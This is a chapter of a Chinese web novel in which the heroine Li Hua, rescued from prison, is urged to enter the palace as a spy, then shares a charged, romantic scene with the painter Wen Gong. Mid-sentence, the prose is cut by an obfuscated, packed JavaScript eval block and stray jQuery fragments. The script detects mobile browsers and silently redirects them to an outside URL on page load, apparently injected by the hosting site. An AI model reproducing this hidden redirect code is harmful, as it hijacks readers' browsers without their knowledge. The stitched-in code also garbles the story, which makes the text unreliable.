87. 诉衷情

作品:《绑定厌恶值收集系统后

    滴滴答答的细雨发出潇潇声,昏暗并不刺眼的光线令人心神宁静,室内人翻了个身,将脸埋进温暖舒适的被窝里。


    等等……


    舒适?


    她不是关在牢里了吗,怎么可能会感到舒适!


    李婳霎时从床上坐起来,四周干净的环境表明了这里不是她先前待的地方。


    身体虽然还是有些无力但比起之前发烧时要好得多,明显是有人救了她。


    “醒了,把粥吃了吧。”女声从床边浅浅传来,扭头看去,赵勤行坐在窗边看向外面细雨。


    “你,你救的我?”李婳从床上下来,有些怀疑地看她。


    深绿衣袍轻动,赵勤行转头将视线放在她身上,挑了挑眉头道:“不高兴了,那我把你送回去。”


    李婳瞬间闭上嘴巴,默默走到桌子前坐下。她看着窗边人端庄清俊的侧脸,忍不住想起白枕说的让她问赵勤行的事。


    偷眼打量着她,见这赵勤行背脊挺直,衣裳服服帖帖不见丝毫褶皱,只是眼下乌青显得劳累,察觉到视线后赵大夫再次看向她,似是无声询问。


    李婳还没想好怎么说,紧急之下指了指自己的眼底道:“当官原来这么忙的吗?”


    赵勤行道:“分人。”


    不知为什么,在这廷尉监面前她总是有几分心怯,可能因着她如今为鱼肉的身份吧。“那你为什么要帮我……”


    “是白梦长请我帮的,”赵勤行快速道,“你真以为就你那几张纸能造成什么影响么?”


    窗外忽地吹过一阵清风,将雨水吹进屋中,她也不嫌冷依旧在窗口处坐着,垂眸思考片刻后说出一段让李婳心惊的话。


    “非是帮你,我更是在帮卢御史与白梦长,他们手中的东西可比你的那些要珍贵多了。”


    李婳忙想问是什么东西,但赵勤行比她更先一步,替她好好讲了宫中的事情。


    太后姓容,与当朝皇帝并无血缘关系,本朝两任皇帝皆是体弱故而由她代理朝政,如今更是可说的上摄政。


    那宁仇十几年前进宫当的太监,早就是太后的心腹了,但为人喜怒无常性情残暴,谁也料不到他下一步的动作。


    在赵勤行话语里,太后是个知人善任的人,本来头脑清明,如今许是因为掌权太盛而有些独断专行了。


    十年前赵勤行考上后宫女官,无奈家中生事她被牵连,全家男男女女尽流放边关。自从太后上台后便将她召了回来,赐她官位。


    若说太后是她的再生恩人也不为过。


    李婳听着不免发问:“那你为什么……”


    为什么要帮助白枕他们呢。


    屋外雨声越发大了,淅淅沥沥间赵勤行的声音隐在其中,平和却带着丝落寞,“娘娘她扶我青云路,知遇之恩我百世不得报之一二……


    “可这青云路,若是非得踩着尸山血海而上,岂不荒唐。”


    雨渐渐小了,一滴一滴摇曳挂在枝柯叶片上,似是观音盈露洒落人间,慢慢滴入尘土,换得万物复苏。


    她曾在苦寒之地待过,心中欢喜这京城青绿,此时看起来却是满目的凄寒了。


    赵勤行头戴乌纱坐在窗前,穿着墨绿官服的身形挺拔,目光看着院内苦楝树郁郁葱葱,亭亭玉立。


    “你……”李婳感觉自己好像猜到了什么,有些踟蹰着问,“你该不会是想要帮我们反……”


    “不是帮你们,我挣个安心罢了。”


    李婳看她情绪有些落寞,又想到了牢里的白枕他们,突然感觉这粥也没那么香了。


    她看着瓷碗边缘水滴顺着边缘滑落汇进米粥中,小声道:“我也想安心,但我不知道我能做什么。”


    “入宫。”赵勤行顿了半晌,终是开口说出两个字。


    一瞬间的安静。


    当啷。


    “你现在要我入宫和杀了我有什么区别,罚我也不用这么罚吧!”李婳当即跳起跑远,还没送进嘴巴的勺子重新落回瓷碗中,发出一声脆响。


    本来以为她是在开玩笑,可赵勤行满脸的认真丝毫没有半分玩笑的意味。


    监察署为了找出那东西废了好大功夫,如今又安了个罪名给卢怀岳他们,也是她从中周旋才将人捉进了廷尉。


    这几日又捉了不少人,他们在宫中实在是不剩多少人了。


    眼瞧着她不是作假,李婳又问:“我能做些什么呢?”


    赵勤行走进了,微微俯下身在她耳边道:“很多事,观察皇帝每日里的动向,嫔妃情况、太后状况,下药等。唯有你去了才能做出些事情来,帮你的堂舅和哥哥,还有那些难民还等着你替他们开一个太平之世呢……”


    李婳在她一番话中逐渐变得迷糊,顿时起了种“舍我其谁”的豪迈之情来,再者她也不想光是干等着,她想帮帮白枕他们。


    这种情感使她暂时忘却了心中隐藏着的对宫里的害怕,恨不得马上就进宫做事情。


    但是,“你要小心避开宁仇。”


    赵勤行突然提醒,令李婳想起了埋在心里的恐惧。


    对啊,还有那家伙呢。那厮一直针对着自己,要是这下在宫里被发现岂不是完蛋了。


    “李婳,你真要去?”


    面对着她的发问,李婳蹙眉想了片刻后坚定的看着她道:“我要去,但是在去之前,我有想见的人。”


    卢怀岳和白枕就别想了,他们被关在牢里多看一眼就多一分风险。


    永兴楼内,熟悉的包厢,熟悉的蝴蝶荷花图以及熟悉的白色衣袍。


    进去后李婳直接道:“我,我之前在牢里说的……”


    “身陷囹圄,言不由衷乃人之常情。”不用她接着往下讲,温珙便递了台阶。


    李婳这下原本愧疚的情绪更重了,她走到温珙面前,弯着腰老老实实鞠了一躬,见他侧过身不是很受用的样子便悄悄捏上了他袖间,“对不起了。”


    温珙身侧的手一顿,还是没将衣袖扯下来。他轻轻叹息了下后转过身,浅色的瞳仁中丝毫不见怪意。


    “错不在你,李姑娘无需道歉。”


    依旧是如玉石般悦耳的声音,可李婳听着某三个字突然觉得有些刺耳,她手中使劲拉了拉他的袖子,“直接叫名字好了,天天李姑娘长李姑娘


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036468|154040||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    短的听起来可怪了。”


    她话说完后,温珙耳垂忽的添上一抹嫣红,似乎还有越扩散越大的趋势。李婳呆呆看着,突然间温珙扯走了自己的袖子,转身背对着她。


    “于礼不合。”


    李婳有些无奈,但也没有强求,“你喜欢叫就叫吧,反正我要进宫当宫女去了,你以后也叫不了‘李姑娘’咯。”


    刚才还保持着姿态的人闻言瞬间转过身,确认道:“你说什么?”


    他眉毛蹙起,眼中尽是不赞同,平直的嘴唇弧线也变得紧抿,像是遇到了极为难办的事。


    “我说我要进宫当宫女去了,”李婳好似没看见他的反应,接着道,“我只和你一个人说了,你千万不要和别人说啊。这是我的事,你也别管我。”


    温珙低着头,红色的唇瓣微张,到底没能如愿吐出那个“好”字。


    若把天下比作屠宰场,那最好的屠户尽能与皇宫扯上关系。宫中每日每日都能抬出许多人,如今李婳却说自己要去当宫女。


    这和去找死有何区别。


    他不想干涉她的去处可是……


    “我呢?”画师抬眸,露出一双泛红的眼睛,似哀似怒般低声喃喃,“我看着你一次次的离去,赴险,不知下落……”


    他语气里好像包含了强烈的情感,和以往的感觉大不相同。李婳无意之间后退了半步,这动作好像是刺激到了他,温珙开始步步紧逼。


    李婳一点点后退,后退间她的腰抵上了桌案,她下意识伸手往案间找支撑点却不慎打落了许多东西。宽广的书案上砚台侧翻在地,些许墨水洒在还未完工的画间,深深浅浅不成模样,画卷也被扫落在地,与笔墨滚在一处。


    退无可退,在两人不过咫尺距离间温珙停下脚步,似乎还想着自己脑中的什么礼,不在前进。


    李婳都想好了要是他扑上来她该做出怎么样的反应,结果这人压根没上来,她一时失了笑心道这人还真是个君子。


    [真是了你又不高兴]


    她轻斥道:“闭嘴。”


    突然感觉有哪里不对劲,竟是她将脑中的话说了出来。


    温珙本来就没说话,如今被她这么一斥瞬间耳朵更红,脸上也稍微带了些薄红。色彩一点点染到他眼角,李婳突然发现他眼中水光滟滟。


    该不会哭了吧。


    “你、你别哭啊,我不是说你闭嘴,你……”李婳嘴上失言,手慌乱中向前做出了个“抱”的姿势。旋即便见温珙一愣,很快便上前一步拉紧了两人之前的距离,抱住了她。


    许是第一次没有什么经验,他几乎半个身子的重量都压到了李婳身上。白衣之下女子的身躯被压得后仰,腰部疼痛的范围瞬间扩大。


    李婳侧过头去推温珙,“我腰疼,别压了。”


    对方想了想,竟是隔着衣服将她提到书案上。臀部以上靠着木板,剩余两条腿撑着地面,腰确实没那么疼了。


    就是这姿势有些暧昧了吧。


    “你,”她顿了顿,看着温珙泛红的眼尾只觉得心底一软,推拒的手没了力气渐渐攀上他的脖颈,“你轻点。”